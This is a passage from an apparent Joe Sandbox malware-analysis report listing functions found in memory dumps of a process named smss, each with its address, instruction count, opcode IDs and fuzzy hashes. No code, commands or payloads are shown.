                                                      • API String ID:
                                                      • Opcode ID: 7f48a6a313faa892d3cb6ae6712f660e70f0f14dfa064f911f45423a86d995c5
                                                      • Instruction ID: fbaf8e6f7c6db2d9086772c7b03f40b6412662e4821131cb0f0c25756154956e
                                                      • Opcode Fuzzy Hash: 7f48a6a313faa892d3cb6ae6712f660e70f0f14dfa064f911f45423a86d995c5
                                                      • Instruction Fuzzy Hash: 58F18F70A189568FEB58CF58C5E56B577B1FF45340F5442B9C89E8B68BCB38E881CB80
                                                      Function 00007FFD9C06EEAF Relevance: .4, Instructions: 362COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 83b95553a087d810a6691d8cac84d19768ec04f8e1af01a78593d868f086b128
                                                      • Instruction ID: b71f6322d1eb1332efa08dce0e282530dda3bd53fc9289d615ab6cb622a571c2
                                                      • Opcode Fuzzy Hash: 83b95553a087d810a6691d8cac84d19768ec04f8e1af01a78593d868f086b128
                                                      • Instruction Fuzzy Hash: DAD18C306196578FEB58CF58C1E16B537B1FF49350B5446BDC85E8B68ACB38E882CB81
                                                      Function 00007FFD9C065E1F Relevance: .3, Instructions: 336COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 6b2d7fc19c3afccf9e9e5b92654f09bef4a0f47448deb96e3e1819a87ce0b565
                                                      • Instruction ID: 405517b71dca15bd217f242fa82698032c4dae79acb7782be25d413cef3c760f
                                                      • Opcode Fuzzy Hash: 6b2d7fc19c3afccf9e9e5b92654f09bef4a0f47448deb96e3e1819a87ce0b565
                                                      • Instruction Fuzzy Hash: 3BC1AE706189578BEB29CF54C1A55B177B1FF85340B5446BDC89F8B68BCB38E481DB80
                                                      Function 00007FFD9C06EECF Relevance: .3, Instructions: 333COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: a94c06e636352caeda0170c011f8ad26a8df4354452fd5b02aa647007cedafeb
                                                      • Instruction ID: e70d52ed13e8dfb86d7650612d3c966a53730a63d3e756a92a42d6639c7d8231
                                                      • Opcode Fuzzy Hash: a94c06e636352caeda0170c011f8ad26a8df4354452fd5b02aa647007cedafeb
                                                      • Instruction Fuzzy Hash: 7FC1AE306196478BEB29CF58C1E16B137B1FF45350B5446BDD85E8B68ACB38E882CB40
                                                      Function 00007FFD9C0656B2 Relevance: .3, Instructions: 328COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 594a2dc74444f5f4d91972f7ec110791bb54af660bdd4101f292b4a4d5f4e0ba
                                                      • Instruction ID: 2e3b10c95b1f56e3806fc72000d4c275b2dc071bc32d39f08da447d276730db3
                                                      • Opcode Fuzzy Hash: 594a2dc74444f5f4d91972f7ec110791bb54af660bdd4101f292b4a4d5f4e0ba
                                                      • Instruction Fuzzy Hash: CBC1D230B08A478FE759DF68C1A66A4B7B1FF59350F544279C04EC7B86CB28B851DB90
                                                      Function 00007FFD9BCCE1F2 Relevance: .3, Instructions: 328COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 3673d8f1ef5acb2af0c0b3143cbbe104b0137f4d3c7793a90b08c8886528ba08
                                                      • Instruction ID: 186c16cb4efdb10defde97aab9431191ca7f8c0d9ab6ced342e7cf654ba50ead
                                                      • Opcode Fuzzy Hash: 3673d8f1ef5acb2af0c0b3143cbbe104b0137f4d3c7793a90b08c8886528ba08
                                                      • Instruction Fuzzy Hash: 71C1B530B0DA4B8FD759EBA8C0606B8B7A1FFA9300F554579D04EC7A96DB28B951C780
                                                      Function 00007FFD9BCC7702 Relevance: .3, Instructions: 328COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 24ccac4164908ccfbb166f4582cafbdbeb74bb5284ddc7a938e995b711b7b6f4
                                                      • Instruction ID: 500c82240f752306789437f6476c9017ad7dd44c90992c0babdffb4dfe8335ce
                                                      • Opcode Fuzzy Hash: 24ccac4164908ccfbb166f4582cafbdbeb74bb5284ddc7a938e995b711b7b6f4
                                                      • Instruction Fuzzy Hash: E5C1D830709A4A8FD759EF74C0A06B8B7A0FFA5310F55457AC44EC7A96CB28B951CB90
                                                      Function 00007FFD9C06E762 Relevance: .3, Instructions: 327COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 84ddfbfd8900e7a05471cdd3bcbcfd666975034ffd50d8af05706e297f4bb210
                                                      • Instruction ID: 81ffcee369314f9598b089f503b9bfc0710108f09555dba4853a2f449ea3ad3d
                                                      • Opcode Fuzzy Hash: 84ddfbfd8900e7a05471cdd3bcbcfd666975034ffd50d8af05706e297f4bb210
                                                      • Instruction Fuzzy Hash: 43C1F230708A478FE759DF58C1A26A4BBB1FF59380F544679C05EC7A86DB28B851CB90
                                                      Function 00007FFD9C063077 Relevance: .3, Instructions: 309COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: af9b967795242da1f4e6fdce3f24b0ace803fcfddbbd27bbe1aaa30611551ee6
                                                      • Instruction ID: 841e042c99f0b3a64879c1b98598e2305b6bead3dfd20d6cd2cb0737f6370bda
                                                      • Opcode Fuzzy Hash: af9b967795242da1f4e6fdce3f24b0ace803fcfddbbd27bbe1aaa30611551ee6
                                                      • Instruction Fuzzy Hash: 2B21D622F0C5AF8AF23569E966774F856B09F593A0F1803B6C24E870C2DE0D284473C2
                                                      Function 00007FFD9BCC50D7 Relevance: .3, Instructions: 305COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: fc1e2833e48088e779e9a49dfeecb971ad5a3dc0ab1e7701143231fc0df7e2b6
                                                      • Instruction ID: 04e925f541daba789209868dfbc88d5083aab5b7b4e7f35ef6faf51bbe025bd8
                                                      • Opcode Fuzzy Hash: fc1e2833e48088e779e9a49dfeecb971ad5a3dc0ab1e7701143231fc0df7e2b6
                                                      • Instruction Fuzzy Hash: F721CE12F0E25F86F67876B824734BC2A90AFF0221F1E0AB6D44E861E3DD4C3A455292
                                                      Function 00007FFD9C063B00 Relevance: .3, Instructions: 302COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: c6efb4db758ab159895f5cfd727f60828db952d16a0d69312fd44a1576ab32b1
                                                      • Instruction ID: bd70a3be2eca37b1f175e5443b01322d473a72d34ae0b493d5813cfdfc33e54d
                                                      • Opcode Fuzzy Hash: c6efb4db758ab159895f5cfd727f60828db952d16a0d69312fd44a1576ab32b1
                                                      • Instruction Fuzzy Hash: 1F914130A18A1D8FDB58DF58C895AB9B3F2FF59314B144269D04ECB296DB35EC42CB41
                                                      Function 00007FFD9BCCBBFB Relevance: .3, Instructions: 300COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 74eb5751acb8d259d4c825643c5a281b432428085eb0e6da0dbdaa4132d56ccd
                                                      • Instruction ID: 81ee1c16c60d9c6ef915a76fdcaca5ee660c004e80d33594b3119a57dfec6e78
                                                      • Opcode Fuzzy Hash: 74eb5751acb8d259d4c825643c5a281b432428085eb0e6da0dbdaa4132d56ccd
                                                      • Instruction Fuzzy Hash: 7C21F312F0F6AF86F77976F424711BC76405FE4B10F1A89BAD24E860E7CE0D2A455282
                                                      Function 00007FFD9BCC7E4F Relevance: .3, Instructions: 295COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: df1c73140d9a782cf397ac002c27c3e7e54ae53e0a7e11260013a0300841efbd
                                                      • Instruction ID: 9198a21ebb8cf3c5dece0c09e0db782e30cc895556164a6477a8e5872cbf7946
                                                      • Opcode Fuzzy Hash: df1c73140d9a782cf397ac002c27c3e7e54ae53e0a7e11260013a0300841efbd
                                                      • Instruction Fuzzy Hash: 4CB1CC706196098FEB58DF68C4E05B537A1FF99310B5155BDC84A8B69FCB38F882CB80
                                                      Function 00007FFD9C064BE6 Relevance: .3, Instructions: 272COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 45529ddc030a75e8abfe9d710e9ad318aaef89707a456cae8605ca40c88ca5a4
                                                      • Instruction ID: 185e5e2141c9425b3f07ae1539fe91de30f2778ee914eeb7b33569e8be0dcd84
                                                      • Opcode Fuzzy Hash: 45529ddc030a75e8abfe9d710e9ad318aaef89707a456cae8605ca40c88ca5a4
                                                      • Instruction Fuzzy Hash: E381F532B0CA474FE7789EA895660B577F0EF45390F14467ED08EC3692DB28B802A761
                                                      Function 00007FFD9BCCD736 Relevance: .3, Instructions: 267COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ea636386eb787706fb0012d8b83e28adf7bc0e787695d006402ccbfc3791b3ab
                                                      • Instruction ID: 683575291d386275dfe3f5ca5d5ab844bd696f76db27d4f5bbdb6a88d0a25817
                                                      • Opcode Fuzzy Hash: ea636386eb787706fb0012d8b83e28adf7bc0e787695d006402ccbfc3791b3ab
                                                      • Instruction Fuzzy Hash: 92815831B0EA0A4FE3387E78946517DB3E0EFE5310B16097ED49EC35A2DE28B9428751
                                                      Function 00007FFD9C06DCA6 Relevance: .3, Instructions: 260COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 9f50d14c60b344de962ad6bbc84390251654e949667f0505ec2902d791dee5cb
                                                      • Instruction ID: 48fc35c51a57bca8e7f7f9fff63334d937fcebe69eda4b9fbaf1da24cdb4e077
                                                      • Opcode Fuzzy Hash: 9f50d14c60b344de962ad6bbc84390251654e949667f0505ec2902d791dee5cb
                                                      • Instruction Fuzzy Hash: CE81F131A0CB474BF738AE6895665B5B7F0FF96390F15067ED48EC3582CF28A802A751
                                                      Function 00007FFD9C062D29 Relevance: .3, Instructions: 256COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: e34e5b678bccf9ff437027cb18688cf4f04f29829b8f0a6fc767f5265942d79e
                                                      • Instruction ID: 3d780204efe4272349df97dfe1218a769e6220bc2ea982a1f85b3cea2c956e38
                                                      • Opcode Fuzzy Hash: e34e5b678bccf9ff437027cb18688cf4f04f29829b8f0a6fc767f5265942d79e
                                                      • Instruction Fuzzy Hash: 8D710231A0C54B4FE778DE58C96B5B477E0FF48350F1403B9D49EC75A3DB18A81A9681
                                                      Function 00007FFD9C060729 Relevance: .3, Instructions: 256COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ce2f88d88b1341ec933fb8671aa7a59b93036bbbee3d6cc5fac433133fc7f602
                                                      • Instruction ID: 9db824a7667c12cbecd1f4bf5e3e5d70aec9514cedc9e1dbf9e4e8be38e48fa3
                                                      • Opcode Fuzzy Hash: ce2f88d88b1341ec933fb8671aa7a59b93036bbbee3d6cc5fac433133fc7f602
                                                      • Instruction Fuzzy Hash: 07714330A8C54B4FE7B8DE5889275B437E0EF44354F4403B9D0DEC369ADF18A82A96C5
                                                      Function 00007FFD9C06C0F9 Relevance: .3, Instructions: 255COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 8d63b5249ade22bb619d92d26614d0f1981f0719a7e9c4e5a788c907647c7759
                                                      • Instruction ID: ad75e6576cf56946252220eb2a7c1a66dab6db7de3859feb0805b192cf4fc4cc
                                                      • Opcode Fuzzy Hash: 8d63b5249ade22bb619d92d26614d0f1981f0719a7e9c4e5a788c907647c7759
                                                      • Instruction Fuzzy Hash: 10714731A0C58B8FE778DE9889675B437E0FF49350F0403B9D99EC7592DF1AA8069781
                                                      Function 00007FFD9BCC4D89 Relevance: .3, Instructions: 254COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 5438f6de347310894549c139c58bf6ef85a81917fd582404f19c234c30bee800
                                                      • Instruction ID: d9c07b9cfc3909cc1b6197fd0a5d245c17630f3a1c0e8d2750d4b8891ac26197
                                                      • Opcode Fuzzy Hash: 5438f6de347310894549c139c58bf6ef85a81917fd582404f19c234c30bee800
                                                      • Instruction Fuzzy Hash: DD712830A0E44D5FE778EA6888265BCB7D0EFE4310B074ABDD45EC7572DB18AB168781
                                                      Function 00007FFD9BCC6C46 Relevance: .3, Instructions: 251COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: f0518c94a7f7c38d4c581ec8ab5bb934b01c4bf71f139d6d10112ff46e9117f4
                                                      • Instruction ID: 5ac5d685a57a0ac0980706d45ab67675dbdd4e9873c17d421df1f476ac615acf
                                                      • Opcode Fuzzy Hash: f0518c94a7f7c38d4c581ec8ab5bb934b01c4bf71f139d6d10112ff46e9117f4
                                                      • Instruction Fuzzy Hash: 10711731B0EA4A4FE3387B78956557D77E0EFA5310B16097EE08EC31A3DE28B5428751
                                                      Function 00007FFD9C06C9CB Relevance: .2, Instructions: 235COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 0752465142e8eea0aba260954d20820a89a4d6e94414058594810b7caeae41ec
                                                      • Instruction ID: cd6128fc2e6e408b51bddd3626df3736eff90f130cb72980bdc603687b5bf42f
                                                      • Opcode Fuzzy Hash: 0752465142e8eea0aba260954d20820a89a4d6e94414058594810b7caeae41ec
                                                      • Instruction Fuzzy Hash: 61719F30F1854F8EEB65EFA889666BCB7B0FF49384F5402BAD00ED3185DF296841A740
                                                      Function 00007FFD9C0638EB Relevance: .2, Instructions: 228COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 537b1810206d41215e78d293f22a6a1a1fc2776a4503cfa6dd15a1ededb282b3
                                                      • Instruction ID: 3175a35b3c0bbde2bfbb49d4edd4df0ffc28cf3703f5764a40b66f5ad35ee354
                                                      • Opcode Fuzzy Hash: 537b1810206d41215e78d293f22a6a1a1fc2776a4503cfa6dd15a1ededb282b3
                                                      • Instruction Fuzzy Hash: 0B719330E1C54F8EEB69DFA489666BC7BB1EF59340F14027AD00EC71C5DF286841AB91
                                                      Function 00007FFD9C066E41 Relevance: .2, Instructions: 228COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ad6f0d3c62cb94c688c93c20e36be862c686964c34893e3861c438005123c653
                                                      • Instruction ID: cb8e9f31da7fb7a414a64a6e713d9e5de6e43a644e74f1368082b6194281fa5f
                                                      • Opcode Fuzzy Hash: ad6f0d3c62cb94c688c93c20e36be862c686964c34893e3861c438005123c653
                                                      • Instruction Fuzzy Hash: 29819C30A18B478FE369DF68D2A657177B1FF44340F504A7DC48E87A92CB39B8829B51
                                                      Function 00007FFD9C0629D4 Relevance: .2, Instructions: 168COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: e714018c8f9f4fd0faa78cbb1722cbb464b9e593c8aa9158e59ebe773febc049
                                                      • Instruction ID: caeffc25d8c7017044ecc53b643bfad4493479a4ea941d690635c503732f3575
                                                      • Opcode Fuzzy Hash: e714018c8f9f4fd0faa78cbb1722cbb464b9e593c8aa9158e59ebe773febc049
                                                      • Instruction Fuzzy Hash: 0C51F532A1D69B8FDB65AFA8D8A15E97F70EF46340F0902B7C04EC61D3DB246805D711
                                                      Function 00007FFD9BCCC45B Relevance: .2, Instructions: 164COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: eadfab81e9ff20ec2397fd9d13b84c373963c498490e1ece4673175de209068f
                                                      • Instruction ID: 9708f98444c85d65576bc197d3126a3a8f8a7005bd354562486a81476d6de37f
                                                      • Opcode Fuzzy Hash: eadfab81e9ff20ec2397fd9d13b84c373963c498490e1ece4673175de209068f
                                                      • Instruction Fuzzy Hash: B0519E30E1950E8FEB65EBB484646FDBBB0FFA4301F5148B9D01AD71A6DE386941C740
                                                      Function 00007FFD9B9008D0 Relevance: .2, Instructions: 156COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 1cfd8522001a1f6a3dbabe5201f113a0191e315f32a40757a53a05570659da5a
                                                      • Instruction ID: 17c8d4742499396af4da76e21b6cade524bf05cea4198d5c253de957fb12fc0a
                                                      • Opcode Fuzzy Hash: 1cfd8522001a1f6a3dbabe5201f113a0191e315f32a40757a53a05570659da5a
                                                      • Instruction Fuzzy Hash: 7B412A22B1C5295FE358B7AC60A6EFD7781DF85324B0885FBD04EC71EBCD19688142C5
                                                      Function 00007FFD9BCC594B Relevance: .2, Instructions: 156COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 74ecf9608181b4dc1595f0d835c67b70090f580a4deb185ed95097ace70e5e49
                                                      • Instruction ID: 2cf6ea3e14b59967634b07616cdd968fb394128de0adce76cfc99fd98893d4cf
                                                      • Opcode Fuzzy Hash: 74ecf9608181b4dc1595f0d835c67b70090f580a4deb185ed95097ace70e5e49
                                                      • Instruction Fuzzy Hash: 73519D30F1954E8FEB65EBB484625BC7BB0FFA5310F5504BAD01EC71A6DE28A9028741
                                                      Function 00007FFD9C06BD45 Relevance: .2, Instructions: 151COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 0ed5c7443b781f546b56ee07bf6c5e723ec992298fe072181ee33a664bc5b6ae
                                                      • Instruction ID: 1b3161f62f891dba82410c7e569aeeb243df758ef9aec533f6381ca104b0a552
                                                      • Opcode Fuzzy Hash: 0ed5c7443b781f546b56ee07bf6c5e723ec992298fe072181ee33a664bc5b6ae
                                                      • Instruction Fuzzy Hash: 8C411972B0DA9A9FDB65EFA8D8614ECBBB0FF15350F0401BAD14ED71D2DA246804D781
                                                      Function 00007FFD9BCCD181 Relevance: .1, Instructions: 148COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: dfea269fdeb14125727ba527d0ce38e4b45b25d20bf1be1201ee26a2990e07a1
                                                      • Instruction ID: 9999b09c8dae66baf53458c9083f1b397dc0197fd1712f3beaece33d871af908
                                                      • Opcode Fuzzy Hash: dfea269fdeb14125727ba527d0ce38e4b45b25d20bf1be1201ee26a2990e07a1
                                                      • Instruction Fuzzy Hash: 3941D571F19A0E5BDB68FAA894615BCB3A1FFA5311B154579D01EC32A2DE24BD028780
                                                      Function 00007FFD9C0679C8 Relevance: .1, Instructions: 131COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 48999c602eba7bafb628b023e3c43e61227f75391b86c460a055eecc33cc3e0a
                                                      • Instruction ID: 5b023ff5b32733baa7e6ff743e8c00318d75b41b92500b7aafc10ed9764ad26a
                                                      • Opcode Fuzzy Hash: 48999c602eba7bafb628b023e3c43e61227f75391b86c460a055eecc33cc3e0a
                                                      • Instruction Fuzzy Hash: 0741C220B2C95B8EEB7CD6588971AF877B1FF94300F1445B9D04EC71C6DE38A985AB80
                                                      Function 00007FFD9BCC81E0 Relevance: .1, Instructions: 128COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
